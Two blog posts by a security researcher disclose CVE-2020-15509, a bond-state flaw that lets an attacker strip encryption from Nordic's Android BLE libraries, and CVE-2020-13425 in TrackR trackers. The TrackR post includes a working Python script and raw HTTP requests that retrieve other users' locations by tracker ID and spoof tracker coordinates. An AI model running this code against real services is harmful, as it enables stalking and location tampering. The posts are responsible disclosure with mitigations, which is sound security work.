Norec Attack: Stripping BLE encryption from NordicSemi’s Android Library (CVE-2020-15509)

Photo by Sebastian Scholz (Nuki) on Unsplash


This article talks about a vulnerability i have found in a library that almost every android application is based on, in a combination with an android bug which helped for that vulnerability to be formed.

Bluetooth Low Energy: The Bond

Nowadays, a lot of applications wish to encrypt their traffic in order to protect the confidentiality of the transferred data. Therefore, on Bluetooth Low Energy standard, a procedure has to be precede encryption which is called bonding. When two devices are bonded it means they have exchanged LTK keys and thus the communication is encrypted. How secure that communication is shall be analyzed in a separate article but let’s assume the protection given by BLE is just good. Also, keep in mind that the bond is not required and has to be initiated by one of the two paired devices.

Using Android API to Bond as a Central Device: The Bug

An Android developer can use the function createBond() in order to bond with a BLE device. Ideally, this function should return true if a bond is created. Unfortunately, there is a bug in Android (which i have reported) that when both parties have the key stored and when those keys are used in future bonding events, the function returns false even though the bonding happened and the traffic is encrypted.

Standing on the shoulders of vulnerable giants

The Nordic Semiconductors created a very handful, and easy to use, Android library that helps developers to handle Bluetooth Low Energy connections easily. I have found a vulnerability in this library in which an adversary can strip the BLE encryption, yet the user believes that the traffic is encrypted due to incorrect handling.

Two libraries of Nordic’s Semiconductors are affected:


The Android-BLE-Library is used by developers to handle BLE Connections.
The Android-DFU-Library is used by developers to upgrade their BLE firmware over the air.

I have tested just a few random BLE Applications that they do make use of BLE Bond, and they make use of the interested bond function of the Nordic’s Library. The applications that i have checked are listed below:

  • LINKA (An application for a ~$200 Smart Bike Lock) – com.linka.lockapp.aos
  • Smart Lock – services.singularity.smartlock
  • Noke (A ~$60 smart lock) – com.fuzdesigns.noke
  • MiLocks BLE – tw.auther.milocks_ble
  • nRF Connect (nordic’s product)
  • Mi Home – com.xiaomi.smarthome

An application that does not rely on the nordic’s library is the phantom lock, yet the Phantom Lock (com.plantraco.coolapps.phantomlock) creates a bond without having a check on the result of the bonding procedure.

The vulnerability is the same in both nordic’s libraries. So we will examine just one of the two libraries: Android-DFU-Library

The vulnerability can be found in class

	 * Creates bond to the device. Works on all APIs since 18th (Android 4.3).
	 * @return true if it's already bonded or the bonding has started
	boolean createBond() {
		final BluetoothDevice device = mGatt.getDevice();
		if (device.getBondState() == BluetoothDevice.BOND_BONDED)
			return true;

		boolean result;
		mRequestCompleted = false;

		mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_VERBOSE, "Starting pairing...");
			mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_DEBUG, "gatt.getDevice().createBond()");
			result = device.createBond();
		} else {
			result = createBondApi18(device);

		// We have to wait until device is bounded
		try {
			synchronized (mLock) {
				while (!mRequestCompleted && !mAborted)
		} catch (final InterruptedException e) {
			loge("Sleeping interrupted", e);
		return result;

The nordic’s function createBond is called by developers to secure the communication between the mobile device and a peripheral device (could be for example a heart rate monitor device).

The developers instead of initiating and forcing an encryption procedure to start, developers invoke the getBondState() to get the current bond state. One could think this is the right thing to do as in the android documentation, at the first glance, everything looks good:

Class BluetoothDevice , Method getBondState(), Latest Android API

By inspecting the method we don’t see anything that could go wrong. The function returns the bond state of the remote device, and this can be BOND_NONE, BOND_BONDING or BOND_BONDED.

I find this misleading because it misleads the developers that the getBondState() it will return the bonding state as it just happened. This is not the case though. Let’s check the BOND_BONDED state:

The getBondState() will return the state (constant) BOND_BONDED in case the key is stored on the device. That does not necessarily mean that the device is currently bonded with the paired device. That means communication could be in plain-text. Keep in mind that this state (BOND_BONDED) could also be returned even when the mobile device is not paired at all, with any device. This is because the state BOND_BONDED is just an indication which states that the Bluetooth Device examined have stored keys on the android system and could be used.

The developers obviously got mislead by the android’s documentation that the getStateBond() method would return the current bonding state and thus return true if the state was BOND_BONDED. That can be translated to: return true (encryption is on) if the key exists on the device despite the fact that bond may have failed.

The attack

There are many vectors to attack. The most obvious is to attack the peripheral in order to eliminate the slots available for keys. Most BLE chipsets found on every IoT device have limited memory size and thus the old keys (of different devices) are replaced by newer keys. Evicting all previous keys is possible by masquerading the BDADDR and then bond a few hundred times to the targeted peripheral. That way all previous LTK keys are evicted and dump keys are stored on the device. Finally, this will help us to achieve our goal because the bug in the library will not create a bond by default and the user is notified that the connection is secure (we don’t need to do any further steps, the traffic will be unencrypted without any further action).

Another attack vector is to hijack the communication before the two paired devices become paired. At the time of a connection request, an adversary could hijack the connection and respond as the peripheral indicating that no keys are stored in the peripheral’s memory. It is not a very difficult attack to implement as the connection request is initiated on the advertisement channels and those are static (no FHSS).

Bug * Bug = Vulnerability

Below i present some findings i have regarding the state of each device, the result of the native createBond() method of android, and the expected result.

Bond HappenedCE Key StoredPE Key StoredAndroid’s createBond() resultExpected result

As we can observe in the last row, when the keys exist on both devices the createBond() is buggy and returns false. This makes things harder for the developer to develop a robust wrapper and which will often lead developers to create bugs such as the bug of nordic’s library which, unfortunately, is a security bug.

Please note that even though the createBond() returns false the communication is still encrypted and the bond took place.

With a communication i had with the nordic’s PSIRT team:

…Our Team confirmed a problem, being able to connect to a device with erased bond information despite the Android showing bond status as BONDED.
However, the issue seems to appear from Android side. Method createBond() on Android returns false every time the bond information is present on client (Android) side, also when it’s present on peripheral side. Therefore, the two situations (valid bond on both sides and bond info on client side, thus unencrypted link) are indistinguishable. …

Part of Communication with Nordic’s PSIRT Team

What nordic told me is partly true. When the client has the key but PE does not, its safe and SHOULD return false because returning true would be a major security issue. This is because the user should be warned if the peripheral has no keys (an attack could have been in place otherwise). This could be avoided if a re-paring could be enforced but android does not support such mid-level operations. The answer is partially true as the android indeed contains a bug as i have aforementioned.

The first insecure patch

…To check if the device is paired (which is not 100% reliable), we do check if CCCD are still enabled after reconnection. That assumes that CCCD state is preserved for bonded devices, which usually is true, and can be faked on a remote device pretending being the one (the same address, CCCD enabled by default).
Therefore, it seems that on Android it is not possible to check if you are truly bonded without using some 3rd party encryption mechanism to get this info from the device using GATT.
Not checking bond state before calling createBond() will cause an error even if the devices are bonded correctly.
We would recommend you to contact Google about this issue…

Part of Communication with Nordic’s PSIRT Team

They have already patched the library with a solution that is far away from a secure solution.

Their change is displayed below (they have changed only Android-BLE-Library as the Android-DFU-Library is still un-patched).

Patched Version of vulnerable function createBond():

private boolean internalCreateBond() {
    final BluetoothDevice device = bluetoothDevice;
    if (device == null)
        return false;

    log(Log.VERBOSE, "Starting bonding...");

    // Warning: The check below only ensures that the bond information is present on the
    //          Android side, not on both. If the bond information has been remove from the
    //          peripheral side, the code below will notify bonding as success, but in fact the
    //          link will not be encrypted! Currently there is no way to ensure that the link
    //          is secure.
    //          Android, despite reporting bond state as BONDED, creates an unencrypted link
    //          and does not report this as a problem. Calling createBond() on a valid,
    //          encrypted link, to ensure that the link is encrypted, returns false (error).
    //          The same result is returned if only the Android side has bond information,
    //          making both cases indistinguishable.
    // Solution: To make sure that sensitive data are sent only on encrypted link make sure
    //           the characteristic/descriptor is protected and reading/writing to it will
    //           initiate bonding request.
    if (device.getBondState() == BluetoothDevice.BOND_BONDED) {
        log(Log.WARN, "Bond information present on client, skipping bonding");
        return true;

        log(Log.DEBUG, "device.createBond()");
        return device.createBond();
    } else {
         * There is a createBond() method in BluetoothDevice class but for now it's hidden.
         * We will call it using reflections. It has been revealed in KitKat (Api19).
        try {
            final Method createBond = device.getClass().getMethod("createBond");
            log(Log.DEBUG, "device.createBond() (hidden)");
            //noinspection ConstantConditions
            return (Boolean) createBond.invoke(device);
        } catch (final Exception e) {
            Log.w(TAG, "An exception occurred while creating bond", e);
    return false;

I find their solution a bit naive. It does not solve the problem and assumes the peripheral has a client characteristic configuration descriptor (this could also be faked). This is insane and insecure.

Attack Mitigation and a recommended patch

I have suggested a mitigation technique that is easy to implement and will secure the application until google fixes their framework. My recommended mitigation is to invoke android’s native createBond() each time the user wishes to have encrypted communication and then check the result. Then, check the current bond state.

If the result is false and the bond state is BOND_BONDED, just remove the key and try again.

If it fails and the bond state is BOND_NONE, then it just failed and now you may terminate the connection to protect the user’s privacy.

To understand how this can be solved, let’s examine the recalled table below:

Before erasing the bond key

Bond HappenedCE Key StoredPE Key StoredAndroid’s createBond() resultExpected result

After erasing the bond key

Bond HappenedCE Key StoredPE Key StoredAndroid’s createBond() resultExpected result

The two corner cases where a developer must watch-out is the 2nd Row Case, and 4th Row Case. Those are the two cases where the createBond() fails. The fact that we don’t know if the key exists on the other side, and the fact that there is a bug in android, it makes us unable to distinguish those two cases. We can however, to delete the key, which will transfer the state of the phone to 1st and 3rd Row cases. That shifted our state, and createBond will return true in either case. That way our communication is secure and the solution rocks!

Attack Limitations

The attack is limited when the central wish to connect to an authenticated characteristic and thus bonding has to be headed. In this situation, the createBond won’t matter and bonding will occur normally without any problem.

Coordinated Vulnerability Disclosure Time Table

  • 23/06/2020: Vulnerability Found
  • 24/06/2020: Vulnerability Report Sent to Nordic’s PSIRT
  • 01/07/2020: Nordic’s First Patch (only on Android-BLE-Library)
  • 02/07/2020: Nordic Confirmed the security bug
  • 02/07/2020: Nordic Notified about the insecure patch
  • 02/07/2020: CVE Request
  • 02/07/2020: CVE Received (CVE-2020-15509)
  • 03/07/2020: Published


The attack is implemented with a custom tool which i will discuss in future posts.

Custom BLE Assessment Kit – First of its kind.

This is a prototype of a product which i will launch in the following months.

The Java SDK is not yet published.

The attack using the custom SDK and custom Hardware is done in under 5 lines of code. The total program is under 100 lines of code.

		private static void startNoricAttack(CEController ce) throws Exception
		for(int i=0; i<100; i++)
			ce.connect(target, ConnectionTypesCommon.AddressType.RANDOM_STATIC_ADDR);
			try {Thread.sleep(100);}catch(InterruptedException iex) {}
			int peer_id = getPeerId();

TrackR – User’s Private Information Exposed & Battery Drain Vulnerability (CVE-2020-13425)


TrackR is a company that develops small wireless trackers to help people find their stuff, such as bags, keys, remote controls, mobile devices etc. You stick the tracker onto your stuff and trigger the tracker’s beeper through the vendor’s android app. Therefore, the tracker makes it possible for objects to be found. Simply put, it’s a key finder. Communication is achieved through Bluetooth Low Energy. This post is about a vulnerability i have found in TrackR Application which affects the privacy of it’s users, by exposing their true geo-location.

The TrackR Pixel Tracker

The TrackR Pixel, is one of the trackers available made by Trackr, yet for the scope of this post, consider the TrackR trackers are all alike.

Here is how the TrackR Pixel looks like:

This little tracker can be powered on, for up to 1 year of operation by using a tiny battery that comes with it. The tracker is paired with the Mobile Application TrackR (Android), without any authentication. It has the Bluetooth name “tkr” and the android app recognizes the beacon when the device is pressed (you press it in the middle – it contains an internal button). Then, the device is paired with your mobile device. Before pairing with the device, an account must be created, so registration is needed. Here is where our travel begins.

The Sweet Spot

One of the core functions of TrackR mobile application is to assist it’s users in finding their tracker in case it is lost. This is done collaboratively by other users. All users, by using the TrackR application to track their own device, they also monitor all trackers in range. Then, each user’s application notifies the server what trackers are found and what the current coordinates are. When a tracker is lost, all users help – without knowing it – to find the tracker.

Each tracker has a tracking ID. The tracker’s ID is constructed by “0000” + BluetoothAddressHexReversed. Using a web proxy, I was able to understand the API calls and then played a little. I found out that I was able to track any tracker without any authorization. What i needed was the Bluetooth device address of the tracker device. This is easy as the tracker device advertises itself every few seconds (when no associated with any client) in order to be visible, thus exposing its BDADDR. When the BDADDR is known, it can be used to track the user.

Private Information Exposed

Users having a TrackR Tracker, such as the Pixel product of TrackR, often attach the tracker to their keys. Usually, the keys are placed in the same location as the mobile device. Thus, the mobile device is aware of the location of the tracker, and always reports to the server the current location of the tracker. When the user puts the mobile device in a different place, like in the case when a user leaves/ forgets the mobile device at home, other users report the user’s location to the server. No that’s not a bug, its a feature. As I have mentioned before, the TrackR offers a feature that helps tracker owners to find their stolen objects. Other users, having the TrackR Mobile Application installed, report the coordinates of other TrackR devices found in the area. The TrackR is running in the background using a service, so the application is not required to be in operation. Furthermore, it doesn’t matter if you carry your phone with you or not, because other people, unwillingly, will report your position to the server, and through the vulnerability described in this article, the server will expose the user’s private information, the physical location, to a possible attacker.

Moreover, this tracker could be used maliciously by leveraging phishing techniques. This could be feasible by giving a tracker as a free gift, and then continue tracking the device by using its tracking ID (which you would have already saved before you gave the tracker). The TrackR does nothing to forbid multiple users to have the same device attached to their account. This process is hard to be done, as the device could be sold as a second-hand product.

By sending specially crafted HTTPS POST and GET requests to the vulnerable API of the TrackR Application, an authenticated attacker may retrieve private-sensitive data, such as coordinates of other users, by using just the tracker ID. The tracker ID is the mac address of the tracker in reverse and is visible to anyone scanning for Bluetooth devices (it can be done even by just using an android phone).

To Create the Tracker ID or to attach to Tracker ID (if already created), the following URL is used (POST):

	payload = '{"customName":"tracker_for_my_keys","type":"Bluetooth","trackerId":"00XXXX-XXXXXXXX","icon":"trackr","timeElapsedSync":304}'
	r ="" + userToken, headers = headers, data = payload)

To fetch all own devices (including the just-attached new device) – (GET):

	r = requests.get("" + userToken, headers = headers_get)
	data = json.loads(r.text)

Note: The token is generated at the login procedure and returned by the server.

GET /rest/user? HTTP/1.1


Please note the Coordinates were altered – Also without auth.

import requests, json, random, time

userToken = "your token..."

azaz = list(set("zyxwvutsrqponmlkjihgfedcbabcdefghijklmnopqrstuvwxyz"))
current_num = 22900

headers_push = {"User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",

headers_del = {"Content-Type":"application/x-www-form-urlencoded",
            "User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",

headers_get = {"User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",

def pickAName():
    n = str()
    for i in range(6):
        n += azaz[random.randint(0,len(azaz)-1)]
    return n

# Only the owner of the device should be able to attach to the device tracker
def createDevice(trackerId): # whatever is created, when pushed later conflict error is returned, despite the deletion
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","timeElapsedSync":'+str(random.randint(100,1000))+'}'
    r ="" + userToken, headers = headers_push, data = payload)
    if r.status_code == 201: print trackerId, "CREATED"
    elif r.status_code == 200: print trackerId, "Attached"
    else: print trackerId, "Create - Unknown Reason", r.status_code
    if r.status_code == 201 or r.status_code == 200: return 200
    else: return r.status_code

def pushDevice(trackerId): # will always return of Not Found if not created before by the user
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","lost":false,"timeElapsedSync":'+str(random.randint(100,1000))+'}'
    url = ""+trackerId+"?usertoken=" + userToken
    r = requests.put(url, data = payload, headers = headers_push)
    if r.status_code == 404:
        print trackerId, "Not Found"
    rtxt = r.text
    print trackerId, r.status_code, rtxt
    return r.status_code

# Returning all devices along with their coordinates
def lookupDevice(trackerId):
    r = requests.get("" + userToken, headers = headers_get)
    data = json.loads(r.text)
    print "Looking for... ",trackerId, r.status_code
    for it in data:
        if it.has_key("lastKnownLocation"):
            if it["lastKnownLocation"].has_key("latitude"):
                print it["lastKnownLocation"]["latitude"], it["lastKnownLocation"]["longitude"]

def popDevice(trackerId):
    r = requests.delete(""+trackerId+"?usertoken="+userToken+"&timeElapsedSync=0", headers = headers_del)
    print "Deleting Tracker", trackerId, r.status_code

def spoofAddress(trackerId): # Vulnerable to Location Spoofing
	print "Spoofing Target Coordinates" # Push Token is not always necessary
	payload = '[{"trackerId":"'+trackerId+'","battery":-1,"lastKnownLocation":{"latitude":14.31,"longitude":22.38,"accuracy":57.10200044036810},"connected":false,"clientTimeDiff":1132}]'
	r = requests.put("", headers = headers_get, data = payload)
	print r.text, r.status_code

# Track Users
tracker_id = "0000XXXX-XXXXXX"
print "Finding Tracker... ", tracker_id
if createDevice(tracker_id) == 200:

To be more thorough about the kind of information that the server is able to retrieve, the following information is presented:

  • LastUpdated: So the attacker knows how fresh data is
  • Custom name: This is replaced by our custom name when we create/attach to the Tracker ID so it doesn’t make any sense for us
  • Last Known Location: The coordinates and how accurate these are (very accurate if you ask me)
  • Seen By Type: Who reported the last update (crowd or user)
  • Lost: If reported as lost
  • Battery Level: The level of tracker’s battery in percentage
  • Type: Bluetooth – I am not aware of all products of TrackR, but it seems most trackers are developed by using BLE technology
        "lastKnownLocation": {
            "latitude": 30.123455, 
            "lastSeenBy": {
                "seenByType": "CROWD_LOCATE_USER", 
                "name": ""
            "longitude": 30.112232, 
            "accuracy": 16
        "ownershipOrder": 0, 
        "lastUpdated": 1581871440781, 
        "lost": false, 
        "lastTimeSeenDiff": 33670, 
        "customName": "mynew", 
        "ownersEmail": "", 
        "timeUpdatedDiff": 685496, 
        "id": 5894866519982080, 
        "trackerId": "00005150-52d48gee", 
        "groupItem": false, 
        "batteryOrderUrl": "", 
        "batteryLevel": 5, 
        "type": "Bluetooth", 
        "lastKnownPlaces": [], 
        "lastTimeSeen": "Sun Feb 16 16:54:52 UTC 2020", 
        "icon": "trackr"

Private Information Exposure Mitigation

It is not easy to mitigate such an attack, as it involves changes in hardware as well. The whole procedure has to change as the tracker does not use any authentication mechanism during the pairing procedure. The tracker shall use a Passkey-PIN authentication, and the PIN shall be shipped on a label so as the owner becomes the only person with the right to connect and modify the TrackR tracker device. The Tracker ID shall be random having a size above 10 bytes (16 bytes are more than enough) and shall be sent only to an authenticated user (authenticated using PIN). In order for the user to have the Tracker ID retrieved, he shall know the Passkey-PIN. In that way, the whole meaning of low power is preserved, and the device will be secured. In case that TrackR is willing to allow its devices to be sold as second-hand, it has to allow the tracker ID to be randomly generated when the authenticated user wishes to.

Access to Unauthenticated Alarm Characteristic ( CVE-2020-13425 )

The tracker device has no authorization, thus any potentially malicious user can connect to it and trigger its beeper (alarm). This can be done when the attacker is in close range with the device though (~10m). Without a question, the tracker needs authorization. Changing the alarm is trivial, non-sophisticated, and can be done even by using off-the-shelf Bluetooth applications (its so trivial that you may develop your own app in 10 minutes doing exactly that). “Beep” is a well-defined characteristic of Bluetooth SIG. The values to trigger the alarm are also well-defined by the standard. Exploiting this vulnerability may drain the battery of the device.

The vendor has made a good job by defining the alarm characteristics properly, yet authorization is needed as well, in order for the device to be more secure.

Target Location Spoofing

The best part is when anybody, any non-registered user, can alter the current location of any tracker device, at any time.

PUT /rest/tracker/batch/secure/lzFobKi7iWUd1cRy05KJff4l3KCNESgsAHWDXYIl HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 183


It is found that the only thing that is needed to alter any tracker’s Coordinates is a single HTTPS PUT Request to a hashed-like path. I guess this is security through obscurity. The “secret” URL allows the submission of information by using unauthenticated access and should be avoided in the year 2020.

Location Spoofing Mitigation

This is also a difficult task because any user should be able to submit the coordinates and a list of all visible tracker IDs. At this moment, the server is not able to distinguish a legitimate request, from an illegitimate request. The vendor shall apply the aforementioned recommended mitigations. In that way, the server will be aware of all TrackR devices registered by their true owner, and it will also be aware of its random ID. Then, in that way, it will be able to distinguish real tracker IDs from fake ones. In order to harden the brute-forcing attack, the vendor shall use a larger random number than 6 bytes that are currently being used. Also, the vendor shall authenticate all Location PUT Requests.


The TrackR was founded in 2009. It is quite funny how serious this vulnerability is, considering the scale of the company and the little complexity of such a product.

As of August 2017, over 5 million TrackR devices had been sold


Google play reports ~20k Users to have the application installed and 1 million downloads, yet other applications exist on other platforms, referring to the same vulnerable API.

Vulnerability Disclosure Time-table

  • 15/02/2020 – Vulnerability Discovered
  • 19/02/2020 – Vendor TrackR Notified via support email
  • 28/02/2020 – Vendor TrackR Notified via support email
  • 28/02/2020 – Vendor Adero Notified via (possibly parent company?)
  • 04/03/2020 – Vendor TrackR notified via secondary sending email address
  • 17/04/2020 – Cert Coordination Center Submission
  • 25/04/2020 – Cert CC Replied with vendor’s contact info
  • 6/05/2020 – Attempted to contact them multiple times (International Calls are not free)
  • 06/05/2020 – Published (CVE-2020-13425)